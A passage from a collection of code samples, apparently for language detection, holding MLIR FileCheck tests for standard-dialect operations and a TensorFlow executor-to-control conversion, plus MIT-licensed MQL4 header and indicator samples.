%{{[0-9]+}} = divf %arg1, %arg1 : f32\n  %46 = \"std.divf\"(%f, %f) : (f32,f32) -> f32\n\n  // CHECK: %{{[0-9]+}} = divf %arg1, %arg1 : f32\n  %47 = divf %f, %f : f32\n\n  // CHECK: %{{[0-9]+}} = divf %arg0, %arg0 : tensor<4x4x?xf32>\n  %48 = divf %t, %t : tensor<4x4x?xf32>\n\n  // CHECK: %{{[0-9]+}} = remf %arg1, %arg1 : f32\n  %49 = \"std.remf\"(%f, %f) : (f32,f32) -> f32\n\n  // CHECK: %{{[0-9]+}} = remf %arg1, %arg1 : f32\n  %50 = remf %f, %f : f32\n\n  // CHECK: %{{[0-9]+}} = remf %arg0, %arg0 : tensor<4x4x?xf32>\n  %51 = remf %t, %t : tensor<4x4x?xf32>\n\n  // CHECK: %{{[0-9]+}} = and %arg2, %arg2 : i32\n  %52 = \"std.and\"(%i, %i) : (i32,i32) -> i32\n\n  // CHECK: %{{[0-9]+}} = and %arg2, %arg2 : i32\n  %53 = and %i, %i : i32\n\n  // CHECK: %{{[0-9]+}} = and %cst_5, %cst_5 : vector<42xi32>\n  %54 = std.and %vci32, %vci32 : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = and %cst_4, %cst_4 : tensor<42xi32>\n  %55 = and %tci32, %tci32 : tensor<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = or %arg2, %arg2 : i32\n  %56 = \"std.or\"(%i, %i) : (i32,i32) -> i32\n\n  // CHECK: %{{[0-9]+}} = or %arg2, %arg2 : i32\n  %57 = or %i, %i : i32\n\n  // CHECK: %{{[0-9]+}} = or %cst_5, %cst_5 : vector<42xi32>\n  %58 = std.or %vci32, %vci32 : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = or %cst_4, %cst_4 : tensor<42xi32>\n  %59 = or %tci32, %tci32 : tensor<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = xor %arg2, %arg2 : i32\n  %60 = \"std.xor\"(%i, %i) : (i32,i32) -> i32\n\n  // CHECK: %{{[0-9]+}} = xor %arg2, %arg2 : i32\n  %61 = xor %i, %i : i32\n\n  // CHECK: %{{[0-9]+}} = xor %cst_5, %cst_5 : vector<42xi32>\n  %62 = std.xor %vci32, %vci32 : vector<42 x i32>\n\n  // CHECK: %{{[0-9]+}} = xor %cst_4, %cst_4 : tensor<42xi32>\n  %63 = xor %tci32, %tci32 : tensor<42 x i32>\n\n  %64 = constant dense<0.> : vector<4 x f32>\n  %tcf32 = constant dense<0.> : tensor<42 x f32>\n  %vcf32 = constant dense<0.> : vector<4 x f32>\n\n  // CHECK: %{{[0-9]+}} = cmpf \"ogt\", %{{[0-9]+}}, %{{[0-9]+}} : f32\n  %65 = cmpf \"ogt\", %f3, %f4 : f32\n\n  // Predicate 0 means ordered equality comparison.\n  // CHECK: %{{[0-9]+}} = cmpf \"oeq\", %{{[0-9]+}}, %{{[0-9]+}} : f32\n  %66 = \"std.cmpf\"(%f3, %f4) {predicate = 1} : (f32, f32) -> i1\n\n  // CHECK: %{{[0-9]+}} = cmpf \"olt\", %cst_8, %cst_8 : vector<4xf32>\n  %67 = cmpf \"olt\", %vcf32, %vcf32 : vector<4 x f32>\n\n  // CHECK: %{{[0-9]+}} = cmpf \"oeq\", %cst_8, %cst_8 : vector<4xf32>\n  %68 = \"std.cmpf\"(%vcf32, %vcf32) {predicate = 1} : (vector<4 x f32>, vector<4 x f32>) -> vector<4 x i1>\n\n  // CHECK: %{{[0-9]+}} = cmpf \"oeq\", %cst_7, %cst_7 : tensor<42xf32>\n  %69 = cmpf \"oeq\", %tcf32, %tcf32 : tensor<42 x f32>\n\n  // CHECK: %{{[0-9]+}} = cmpf \"oeq\", %cst_8, %cst_8 : vector<4xf32>\n  %70 = cmpf \"oeq\", %vcf32, %vcf32 : vector<4 x f32>\n\n  // CHECK: %{{[0-9]+}} = rank %arg0 : tensor<4x4x?xf32>\n  %71 = \"std.rank\"(%t) : (tensor<4x4x?xf32>) -> index\n\n  // CHECK: %{{[0-9]+}} = rank %arg0 : tensor<4x4x?xf32>\n  %72 = rank %t : tensor<4x4x?xf32>\n\n  // CHECK: = constant unit\n  %73 = constant unit\n\n  // CHECK: constant true\n  %74 = constant true\n\n  // CHECK: constant false\n  %75 = constant false\n\n  // CHECK: = index_cast {{.*}} : index to i64\n  %76 = index_cast %idx : index to i64\n\n  // CHECK: = index_cast {{.*}} : i32 to index\n  %77 = index_cast %i : i32 to index\n\n  // CHECK: = sitofp {{.*}} : i32 to f32\n  %78 = sitofp %i : i32 to f32\n\n  // CHECK: = sitofp {{.*}} : i32 to f64\n  %79 = sitofp %i : i32 to f64\n\n  // CHECK: = sitofp {{.*}} : i64 to f32\n  %80 = sitofp %j : i64 to f32\n\n  // CHECK: = sitofp {{.*}} : i64 to f64\n  %81 = sitofp %j : i64 to f64\n\n  return\n}\n\n// CHECK-LABEL: func @affine_apply() {\nfunc @affine_apply() {\n  %i = \"std.constant\"() {value = 0: index} : () -> index\n  %j = \"std.constant\"() {value = 1: index} : () -> index\n\n  // CHECK: affine.apply #map0(%c0)\n  %a = \"affine.apply\" (%i) { map = (d0) -> (d0 + 1) } :\n    (index) -> (index)\n\n  // CHECK: affine.apply #map1()[%c0]\n  %b = affine.apply ()[x] -> (x+1)()[%i]\n\n  return\n}\n\n// CHECK-LABEL: func @load_store\nfunc @load_store(memref<4x4xi32>, index) {\n^bb0(%0: memref<4x4xi32>, %1: index):\n  // CHECK: %0 = load %arg0[%arg1, %arg1] : memref<4x4xi32>\n  %2 = \"std.load\"(%0, %1, %1) : (memref<4x4xi32>, index, index)->i32\n\n  // CHECK: %1 = load %arg0[%arg1, %arg1] : memref<4x4xi32>\n  %3 = load %0[%1, %1] : memref<4x4xi32>\n\n  return\n}\n\n// Test with zero-dimensional operands using no index in load/store.\n// CHECK-LABEL: func @zero_dim_no_idx\nfunc @zero_dim_no_idx(%arg0 : memref<i32>, %arg1 : memref<i32>, %arg2 : memref<i32>) {\n  %0 = std.load %arg0[] : memref<i32>\n  std.store %0, %arg1[] : memref<i32>\n  return\n  // CHECK: %0 = load %{{.*}}[] : memref<i32>\n  // CHECK: store %{{.*}}, %{{.*}}[] : memref<i32>\n}\n\n// CHECK-LABEL: func @return_op(%arg0: i32) -> i32 {\nfunc @return_op(%a : i32) -> i32 {\n  // CHECK: return %arg0 : i32\n  \"std.return\" (%a) : (i32)->()\n}\n\n// CHECK-LABEL: func @calls(%arg0: i32) {\nfunc @calls(%arg0: i32) {\n  // CHECK: %0 = call @return_op(%arg0) : (i32) -> i32\n  %x = call @return_op(%arg0) : (i32) -> i32\n  // CHECK: %1 = call @return_op(%0) : (i32) -> i32\n  %y = call @return_op(%x) : (i32) -> i32\n  // CHECK: %2 = call @return_op(%0) : (i32) -> i32\n  %z = \"std.call\"(%x) {callee = @return_op} : (i32) -> i32\n\n  // CHECK: %f = constant @affine_apply : () -> ()\n  %f = constant @affine_apply : () -> ()\n\n  // CHECK: call_indirect %f() : () -> ()\n  call_indirect %f() : () -> ()\n\n  // CHECK: %f_0 = constant @return_op : (i32) -> i32\n  %f_0 = constant @return_op : (i32) -> i32\n\n  // CHECK: %3 = call_indirect %f_0(%arg0) : (i32) -> i32\n  %2 = call_indirect %f_0(%arg0) : (i32) -> i32\n\n  // CHECK: %4 = call_indirect %f_0(%arg0) : (i32) -> i32\n  %3 = \"std.call_indirect\"(%f_0, %arg0) : ((i32) -> i32, i32) -> i32\n\n  return\n}\n\n// CHECK-LABEL: func @extract_element(%arg0: tensor<*xi32>, %arg1: tensor<4x4xf32>) -> i32 {\nfunc @extract_element(%arg0: tensor<*xi32>, %arg1 : tensor<4x4xf32>) -> i32 {\n  %c0 = \"std.constant\"() {value = 0: index} : () -> index\n\n  // CHECK: %0 = extract_element %arg0[%c0, %c0, %c0, %c0] : tensor<*xi32>\n  %0 = extract_element %arg0[%c0, %c0, %c0, %c0] : tensor<*xi32>\n\n  // CHECK: %1 = extract_element %arg1[%c0, %c0] : tensor<4x4xf32>\n  %1 = extract_element %arg1[%c0, %c0] : tensor<4x4xf32>\n\n  return %0 : i32\n}\n\n// CHECK-LABEL: func @tensor_cast(%arg0\nfunc @tensor_cast(%arg0: tensor<*xf32>, %arg1 : tensor<4x4xf32>, %arg2: tensor<?x?xf32>) {\n  // CHECK: %0 = tensor_cast %arg0 : tensor<*xf32> to tensor<?x?xf32>\n  %0 = tensor_cast %arg0 : tensor<*xf32> to tensor<?x?xf32>\n\n  // CHECK: %1 = tensor_cast %arg1 : tensor<4x4xf32> to tensor<*xf32>\n  %1 = tensor_cast %arg1 : tensor<4x4xf32> to tensor<*xf32>\n\n  // CHECK: %2 = tensor_cast %arg2 : tensor<?x?xf32> to tensor<4x?xf32>\n  %2 = tensor_cast %arg2 : tensor<?x?xf32> to tensor<4x?xf32>\n\n  // CHECK: %3 = tensor_cast %2 : tensor<4x?xf32> to tensor<?x?xf32>\n  %3 = tensor_cast %2 : tensor<4x?xf32> to tensor<?x?xf32>\n\n  return\n}\n\n// CHECK-LABEL: func @memref_cast(%arg0\nfunc @memref_cast(%arg0: memref<4xf32>, %arg1 : memref<?xf32>) {\n  // CHECK: %0 = memref_cast %arg0 : memref<4xf32> to memref<?xf32>\n  %0 = memref_cast %arg0 : memref<4xf32> to memref<?xf32>\n\n  // CHECK: %1 = memref_cast %arg1 : memref<?xf32> to memref<4xf32>\n  %1 = memref_cast %arg1 : memref<?xf32> to memref<4xf32>\n  return\n}\n\n// CHECK-LABEL: func @test_dimop(%arg0\nfunc @test_dimop(%arg0: tensor<4x4x?xf32>) {\n  // CHECK: %0 = dim %arg0, 2 : tensor<4x4x?xf32>\n  %0 = dim %arg0, 2 : tensor<4x4x?xf32>\n  // use dim as an affine_int to ensure type correctness\n  %1 = affine.apply (d0) -> (d0)(%0)\n  return\n}\n\n\n// CHECK-LABEL: func @test_vector.transfer_ops(%arg0\nfunc @test_vector.transfer_ops(%arg0: memref<?x?xf32>) {\n  %c3 = constant 3 : index\n  %cst = constant 3.0 : f32\n  // CHECK: %0 = vector.transfer_read %arg0[%c3, %c3] {permutation_map = #[[map_proj_d0d1_d0]]} : memref<?x?xf32>, vector<128xf32>\n  %0 = vector.transfer_read %arg0[%c3, %c3] {permutation_map = (d0, d1)->(d0)} : memref<?x?xf32>, vector<128xf32>\n  // CHECK: %1 = vector.transfer_read %arg0[%c3, %c3] {permutation_map = #[[map_proj_d0d1_d1d0]]} : memref<?x?xf32>, vector<3x7xf32>\n  %1 = vector.transfer_read %arg0[%c3, %c3] {permutation_map = (d0, d1)->(d1, d0)} : memref<?x?xf32>, vector<3x7xf32>\n  // CHECK: %2 = vector.transfer_read %arg0[%c3, %c3], (%cst) {permutation_map = #[[map_proj_d0d1_d0]]} : memref<?x?xf32>,  vector<128xf32>\n  %2 = vector.transfer_read %arg0[%c3, %c3], (%cst) {permutation_map = (d0, d1)->(d0)} : memref<?x?xf32>,  vector<128xf32>\n  // CHECK: %3 = vector.transfer_read %arg0[%c3, %c3], (%cst) {permutation_map = #[[map_proj_d0d1_d1]]} : memref<?x?xf32>,  vector<128xf32>\n  %3 = vector.transfer_read %arg0[%c3, %c3], (%cst) {permutation_map = (d0, d1)->(d1)} : memref<?x?xf32>,  vector<128xf32>\n  //\n  // CHECK: vector.transfer_write %0, %arg0[%c3, %c3] {permutation_map = #[[map_proj_d0d1_d0]]} : vector<128xf32>, memref<?x?xf32>\n  vector.transfer_write %0, %arg0[%c3, %c3] {permutation_map = (d0, d1)->(d0)} : vector<128xf32>, memref<?x?xf32>\n  // CHECK: vector.transfer_write %1, %arg0[%c3, %c3] {permutation_map = #[[map_proj_d0d1_d1d0]]} : vector<3x7xf32>, memref<?x?xf32>\n  vector.transfer_write %1, %arg0[%c3, %c3] {permutation_map = (d0, d1)->(d1, d0)} : vector<3x7xf32>, memref<?x?xf32>\n  return\n}\n\n"
  },
  {
    "path": "samples/MLIR/executor_to_control_dialect.mlir",
    "content": "// RUN: tf-opt -tf-executor-to-control-conversion %s  | FileCheck %s --dump-input=fail\n\n// CHECK-LABEL: func @LoopTest() {\nfunc @LoopTest() {\n  tf_executor.graph {\n    %0:2 = tf_executor.island {\n      %cst = \"tf.Const\"() {device = \"\", dtype = \"tfdtype$DT_INT32\", name = \"Const\", value = dense<1> : tensor<i32>} : () -> tensor<i32>\n      tf_executor.yield %cst : tensor<i32>\n    }\n    %1:2 = tf_executor.Enter %0#0 frame \"while/while_context\" : (tensor<i32>) -> (tensor<*xi32>, !tf_executor.control) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Enter\"}\n    %2 = tf_executor.island {\n      \"tf.NoOp\"() {device = \"\", name = \"cluster/pivot\"} : () -> ()\n      tf_executor.yield\n    }\n    %3:3 = tf_executor.NextIteration.Source : tensor<*xi32> {T = \"tfdtype$DT_INT32\", device = \"\", id = 0 : i64, name = \"while/NextIteration\"}\n    %4:3 = tf_executor.Merge %3#0, %1#0 : tensor<*xi32> {N = 2 : i64, T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Merge\"}\n    %5:2 = tf_executor.island(%4#2) {\n      %cst = \"tf.Const\"() {device = \"\", dtype = \"tfdtype$DT_INT32\", name = \"while/Less/y\", value = dense<2> : tensor<i32>} : () -> tensor<i32>\n      tf_executor.yield %cst : tensor<i32>\n    }\n    %6:2 = tf_executor.island {\n      %14 = \"tf.Less\"(%4#0, %5#0) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Less\"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi1>\n      tf_executor.yield %14 : tensor<*xi1>\n    }\n    %7:2 = tf_executor.LoopCond %6#0 : (tensor<*xi1>) -> (tensor<i1>, !tf_executor.control) {device = \"\", name = \"while/LoopCond\"}\n    %8:3 = tf_executor.Switch %4#0, %7#0 : tensor<*xi32> {T = \"tfdtype$DT_INT32\", _class = [\"loc = @while/Merge\"], device = \"\", name = \"while/Switch\"}\n    %9:2 = tf_executor.Exit %8#0 : tensor<*xi32> {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Exit\"}\n    %10:2 = tf_executor.island {\n      %14 = \"tf.Identity\"(%8#1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Identity\"} : (tensor<*xi32>) -> tensor<*xi32>\n      tf_executor.yield %14 : tensor<*xi32>\n    }\n    %11:2 = tf_executor.island(%10#1) {\n      %cst = \"tf.Const\"() {device = \"\", dtype = \"tfdtype$DT_INT32\", name = \"while/Add/y\", value = dense<3> : tensor<i32>} : () -> tensor<i32>\n      tf_executor.yield %cst : tensor<i32>\n    }\n    %12:2 = tf_executor.island {\n      %14 = \"tf.Add\"(%10#0, %11#0) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add\"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>\n      tf_executor.yield %14 : tensor<*xi32>\n    }\n    %13 = tf_executor.ControlTrigger %2, %12#1, %9#1 {_tpu_replicate = \"cluster\", device = \"\", name = \"gradients/while/mul_2_Da30D05wlPU_grad/SymbolicGradient/b_sync\"}\n    tf_executor.NextIteration.Sink [%3#1] %12#0, %13 : tensor<*xi32> {T = \"tfdtype$DT_INT32\", device = \"\", id = 0 : i64, name = \"while/NextIteration\"}\n    tf_executor.fetch\n  }\n  return\n}\n\n// CHECK-NEXT:   %[[CONST:[0-9]*]]:2 = \"_tf.Const\"() {device = \"\", dtype = \"tfdtype$DT_INT32\", name = \"Const\", value = dense<1> : tensor<i32>} : () -> (tensor<i32>, !_tf.control)\n// CHECK-NEXT:   %[[ENTER:[0-9]*]]:2 = \"_tf.Enter\"(%[[CONST]]#0) {T = \"tfdtype$DT_INT32\", device = \"\", frame_name = \"while/while_context\", is_constant = false, name = \"while/Enter\", parallel_iterations = 10 : i64} : (tensor<i32>) -> (tensor<*xi32>, !_tf.control)\n// CHECK-NEXT:   %[[NOOP:[0-9]*]] = \"_tf.NoOp\"() {device = \"\", name = \"cluster/pivot\"} : () -> !_tf.control\n// CHECK-NEXT:   %[[SOURCE:[0-9]*]]:2 = \"_tf.NextIteration.source\"() {T = \"tfdtype$DT_INT32\", device = \"\", id = 0 : i64, name = \"while/NextIteration\"} : () -> (tensor<*xi32>, !_tf.control)\n// CHECK-NEXT:   %[[MERGE:[0-9]*]]:3 = \"_tf.Merge\"(%[[SOURCE]]#0, %[[ENTER]]#0) {N = 2 : i64, T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Merge\"} : (tensor<*xi32>, tensor<*xi32>) -> (tensor<*xi32>, tensor<i32>, !_tf.control)\n// CHECK-NEXT:   %[[CONST_LESS:[0-9]*]]:2 = \"_tf.Const\"(%[[MERGE]]#2) {device = \"\", dtype = \"tfdtype$DT_INT32\", name = \"while/Less/y\", value = dense<2> : tensor<i32>} : (!_tf.control) -> (tensor<i32>, !_tf.control)\n// CHECK-NEXT:   %[[LESS:[0-9]*]]:2 = \"_tf.Less\"(%[[MERGE]]#0, %[[CONST_LESS]]#0) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Less\"} : (tensor<*xi32>, tensor<i32>) -> (tensor<*xi1>, !_tf.control)\n// CHECK-NEXT:   %[[COND:[0-9]*]]:2 = \"_tf.LoopCond\"(%[[LESS]]#0) {device = \"\", name = \"while/LoopCond\"} : (tensor<*xi1>) -> (tensor<i1>, !_tf.control)\n// CHECK-NEXT:   %[[SWITCH:[0-9]*]]:3 = \"_tf.Switch\"(%[[MERGE]]#0, %[[COND]]#0) {T = \"tfdtype$DT_INT32\", _class = [\"loc = @while/Merge\"], device = \"\", name = \"while/Switch\"} : (tensor<*xi32>, tensor<i1>) -> (tensor<*xi32>, tensor<*xi32>, !_tf.control)\n// CHECK-NEXT:   %[[EXIT:[0-9]*]]:2 = \"_tf.Exit\"(%[[SWITCH]]#0) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Exit\"} : (tensor<*xi32>) -> (tensor<*xi32>, !_tf.control)\n// CHECK-NEXT:   %[[IDENTITY:[0-9]*]]:2 = \"_tf.Identity\"(%[[SWITCH]]#1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Identity\"} : (tensor<*xi32>) -> (tensor<*xi32>, !_tf.control)\n// CHECK-NEXT:   %[[CONST_ADD:[0-9]*]]:2 = \"_tf.Const\"(%[[IDENTITY]]#1) {device = \"\", dtype = \"tfdtype$DT_INT32\", name = \"while/Add/y\", value = dense<3> : tensor<i32>} : (!_tf.control) -> (tensor<i32>, !_tf.control)\n// CHECK-NEXT:   %[[ADD:[0-9]*]]:2 = \"_tf.Add\"(%[[IDENTITY]]#0, %[[CONST_ADD]]#0) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add\"} : (tensor<*xi32>, tensor<i32>) -> (tensor<*xi32>, !_tf.control)\n// CHECK-NEXT:   %[[CT:[0-9]*]] = \"_tf.ControlTrigger\"(%[[NOOP]], %[[ADD]]#1, %[[EXIT]]#1) {_tpu_replicate = \"cluster\", device = \"\", name = \"gradients/while/mul_2_Da30D05wlPU_grad/SymbolicGradient/b_sync\"} : (!_tf.control, !_tf.control, !_tf.control) -> !_tf.control\n// CHECK-NEXT:   %[[SINK:[0-9]*]] = \"_tf.NextIteration.sink\"(%[[ADD]]#0, %[[CT]]) {T = \"tfdtype$DT_INT32\", device = \"\", id = 0 : i64, name = \"while/NextIteration\"} : (tensor<*xi32>, !_tf.control) -> !_tf.control\n// CHECK-NEXT:   return\n\n\n\n\n// CHECK-LABEL: func @multiple_ops_region\nfunc @multiple_ops_region(%arg0 : tensor<*xi32>, %arg1 : tensor<i32>) {\n  tf_executor.graph {\n    %0:2 = tf_executor.island {\n      // The 4 operations are independent, but the current conversion will add\n      // control dependencies conservatively.\n      %1 = \"tf.Add\"(%arg0, %arg1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add1\"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>\n      %2 = \"tf.Add\"(%arg0, %arg1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add2\"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>\n      %3 = \"tf.Add\"(%arg0, %arg1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add3\"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>\n      %4 = \"tf.Add\"(%arg0, %arg1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add4\"} : (tensor<*xi32>, tensor<i32>) -> tensor<*xi32>\n      tf_executor.yield %4 : tensor<*xi32>\n    }\n    tf_executor.fetch\n  }\n  return\n}\n\n// CHECK-NEXT: %[[ADD1:[0-9]*]]:2 = \"_tf.Add\"(%arg0, %arg1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add1\"} : (tensor<*xi32>, tensor<i32>) -> (tensor<*xi32>, !_tf.control)\n// CHECK-NEXT: %[[ADD2:[0-9]*]]:2 = \"_tf.Add\"(%arg0, %arg1, %[[ADD1]]#1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add2\"} : (tensor<*xi32>, tensor<i32>, !_tf.control) -> (tensor<*xi32>, !_tf.control)\n// CHECK-NEXT: %[[ADD3:[0-9]*]]:2 = \"_tf.Add\"(%arg0, %arg1, %[[ADD2]]#1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add3\"} : (tensor<*xi32>, tensor<i32>, !_tf.control) -> (tensor<*xi32>, !_tf.control)\n// CHECK-NEXT: %[[ADD4:[0-9]*]]:2 = \"_tf.Add\"(%arg0, %arg1, %[[ADD3]]#1) {T = \"tfdtype$DT_INT32\", device = \"\", name = \"while/Add4\"} : (tensor<*xi32>, tensor<i32>, !_tf.control) -> (tensor<*xi32>, !_tf.control)\n"
  },
  {
    "path": "samples/MLIR/sample.mlir",
    "content": "// CHECK-LABEL: func @func_with_ops(%arg0: f32) {\nfunc @func_with_ops(%a : f32) {\n  // CHECK: %0 = \"getTensor\"() : () -> tensor<4x4x?xf32>\n  %t = \"getTensor\"() : () -> tensor<4x4x?xvector<10xf32>>>\n\n  %i6 = muli %i2, %i2 : i32\n  %t2 = \"std.dim\"(%t){index = 2} : (tensor<4x4x?xvector<10xf32>>) -> index\n  %x = \"foo\"(%a, %a) : (f32,f32) -> (memref<1 x i32, (d0) -> (d0), 4>)\n\n  return\n}\n\nfunc @count(%x: tensor<i64) -> (i64, i64)\n  attributes {fruit = \"banana\"} {\n  return %x, %x: i64, i64\n}\n\nfunc @correct_number_of_regions() {\n    // CHECK: test.two_region_op\n    \"test.two_region_op\"()(\n      {\"work\"() : () -> ()},\n      {\"work\"() : () -> ()}\n    ) : () -> ()\n    return\n}\n\nfunc @inline_notation() -> i32 {\n  %1 = \"foo\"() : () -> i32 loc(\"foo\")\n  %1p = \"foo\"() : () -> i32 loc(fused<\"myPass\">[\"abc\", \"de\"])\n\n  // CHECK: constant 4 : index loc(callsite(\"foo\" at \"mysource.cc\":10:8))\n  %2 = constant 4 : index loc(callsite(\"foo\" at \"mysource.cc\":10:8))\n\n  affine.for %i0 = 0 to 8 {\n  } loc(fused[\"foo\", \"mysource.cc\":10:8])\n\n  affine.if #set0(%2) {\n  } loc(fused<\"myPass\">[\"foo\", \"foo2\"])\n\n  return %1 : i32 loc(unknown)\n}\n\nfunc @simple(i64, i1) -> i64 {\n^bb0(%a: i64, %cond: i1): // Code dominated by ^bb0 may refer to %a\n  cond_br %cond, ^bb1, ^bb2\n\n^bb1:\n  br ^bb3(%a: i64)    // Branch passes %a as the argument\n\n^bb2:\n  %b = addi %a, %a : i64\n  br ^bb3(%b: i64)    // Branch passes %b as the argument\n\n// ^bb3 receives an argument, named %c, from predecessors\n// and passes it on to bb4 twice.\n^bb3(%c: i64):\n  br ^bb4(%c, %c : i64, i64)\n\n^bb4(%d : i64, %e : i64):\n  %0 = addi %d, %e : i64\n  return %0 : i64\n}\n\n// CHECK-LABEL: func @func_with_ops(%arg0: f32) {\nfunc @func_with_ops(f32) {\n^bb0(%a : f32):\n  %t = \"getTensor\"() : () -> tensor<4x4x?xf32>\n  %t2 = \"std.dim\"(%t){index = 2} : (tensor<4x4x?xf32>) -> index\n\n  %x = \"std.addf\"(%a, %a) : (f32,f32) -> (f32) // help\n\n  return\n}\n\nfunc @multiblock() {\n  return     // CHECK:   return\n^bb1:         // CHECK: ^bb1:   // no predecessors\n  br ^bb4     // CHECK:   br ^bb3\n^bb2:         // CHECK: ^bb2:   // pred: ^bb2\n  br ^bb2     // CHECK:   br ^bb2\n^bb4:         // CHECK: ^bb3:   // pred: ^bb1\n  return     // CHECK:   return\n}\n\nfunc @dialect_attribute_with_type() {\n  \"foo.unknown_op\"() {foo = #foo.attr : i32} : () -> ()\n}\n\nfunc @inline_notation() -> i32 {\n  %1 = \"foo\"() : () -> i32 loc(\"foo\")\n\n  %2 = constant 4 : index loc(callsite(\"foo\" at \"mysource.cc\":10:8))\n\n  affine.for %i0 = 0 to 8 {\n  } loc(fused[\"foo\", \"mysource.cc\":10:8])\n\n  affine.if #set0(%2) {\n  } loc(fused<\"myPass\">[\"foo\", \"foo2\"])\n\n  return %1 : i32 loc(unknown)\n}\n\n"
  },
  {
    "path": "samples/MQL4/header-sample.mqh",
    "content": "//+------------------------------------------------------------------+\r\n//|                                                header-sample.mqh |\r\n//|                                   Copyright 2016, Andrey Osorgin |\r\n//+------------------------------------------------------------------+\r\n//|                     The MIT License (MIT)                        |\r\n//|                                                                  |\r\n//| Permission is hereby granted, free of charge, to any person      |\r\n//| obtaining a copy of this software and associated documentation   |\r\n//| files (the \"Software\"), to deal in the Software without          |\r\n//| restriction, including without limitation the rights to use,     |\r\n//| copy, modify, merge, publish, distribute, sublicense, and/or sell|\r\n//| copies of the Software, and to permit persons to whom the        |\r\n//| Software is furnished to do so, subject to the following         |\r\n//| conditions:                                                      |\r\n//|                                                                  |\r\n//| The above copyright notice and this permission notice shall be   |\r\n//| included in all copies or substantial portions of the Software.  |\r\n//|                                                                  |\r\n//| THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,  |\r\n//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |\r\n//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |\r\n//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |\r\n//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |\r\n//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |\r\n//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |\r\n//| OTHER DEALINGS IN THE SOFTWARE.                                  |\r\n//|                                                                  |\r\n//| A copy of the MIT License (MIT) is available at                  |\r\n//| https://opensource.org/licenses/MIT                              |\r\n//+------------------------------------------------------------------+\r\n#property strict\r\n//+------------------------------------------------------------------+\r\n//|                                                                  |\r\n//+------------------------------------------------------------------+\r\nclass CSomeObject\r\n  {\r\nprotected:\r\n   int               m_someproperty;\r\nprivate:\r\n   bool              SomeFunction() {return true;}\r\npublic:\r\n                     CSomeObject(void): m_someproperty(0) {}\r\n                    ~CSomeObject(void)                    {}\r\n   void              SetName(int n){m_someproperty=n;}// sets somepropery\r\n   int               GetName(){return(m_someproperty);} // returns someproperty\r\n  };\r\n//+------------------------------------------------------------------+\r\n"
  },
  {
    "path": "samples/MQL4/indicator-sample.mq4",
    "content": "//+------------------------------------------------------------------+\r\n//|                                             indicator-sample.mq4 |\r\n//|                                   Copyright 2016, Andrey Osorgin |\r\n//+------------------------------------------------------------------+\r\n//|                     The MIT License (MIT)                        |\r\n//|                                                                  |\r\n//| Permission is hereby granted, free of charge, to any person      |\r\n//| obtaining a copy of this software and associated documentation   |\r\n//| files (the \"Software\"), to deal in the Software without          |\r\n//| restriction, including without limitation the rights to use,     |\r\n//| copy, modify, merge, publish, distribute, sublicense, and/or sell|\r\n//| copies of the Software, and to permit persons to whom the        |\r\n//| Software is furnished to do so, subject to the following         |\r\n//| conditions:                                                      |\r\n//|                                                                  |\r\n//| The above copyright notice and this permission notice shall be   |\r\n//| included in all copies or substantial portions of the Software.  |\r\n//|                                                                  |\r\n//| THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,  |\r\n//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |\r\n//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |\r\n//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |\r\n//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |\r\n//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |\r\n//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |\r\n//| OTHER DEALINGS IN THE SOFTWARE.                                  |\r\n//|                                                                  |\r\n//| A copy of the MIT License (MIT) is available at                  |\r\n//| https://opensource.org/licenses/MIT                              |\r\n//+------------------------------------------------------------------+\r\n#property version   \"1.00\"\r\n#property strict\r\n\r\n#property indicator_chart_window\r\n#property indicator_plots 0\r\n//+------------------------------------------------------------------+\r\n//| Custom indicator initialization function                         |\r\n//+------------------------------------------------------------------+\r\nvoid OnInit(void)\r\n  {\r\n //---\r\n   }\r\n//+------------------------------------------------------------------+\r\n//| Bears Power                                                      |\r\n//+------------------------------------------------------------------+\r\nint OnCalculate(const int rates_total,\r\n                const int prev_calculated,\r\n                const datetime &time[],\r\n                const double &open[],\r\n                const double &high[],\r\n                const double &low[],\r\n                const double 